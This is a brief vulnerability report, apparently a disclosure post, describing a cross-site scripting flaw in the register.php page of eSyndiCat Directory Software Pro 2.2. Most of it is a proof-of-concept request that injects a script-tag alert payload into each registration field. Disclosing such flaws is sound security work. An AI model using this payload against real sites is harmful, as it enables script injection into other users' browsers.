I have discovered xss vulnerability on eSyndiCat Directory Software Pro 2.2

My vulnerability is on "register.php" and works this way :

http://www.site.com/register.php where username="><script>alert(12157312.477)</script>&email="><script>alert(12157312.477)</script>&password="><script>alert(12157312.477)</script>&password2="><script>alert(12157312.477)</script>&security_code="><script>alert(12157312.477 )</script>&register="><script>alert(12157312.477)</script>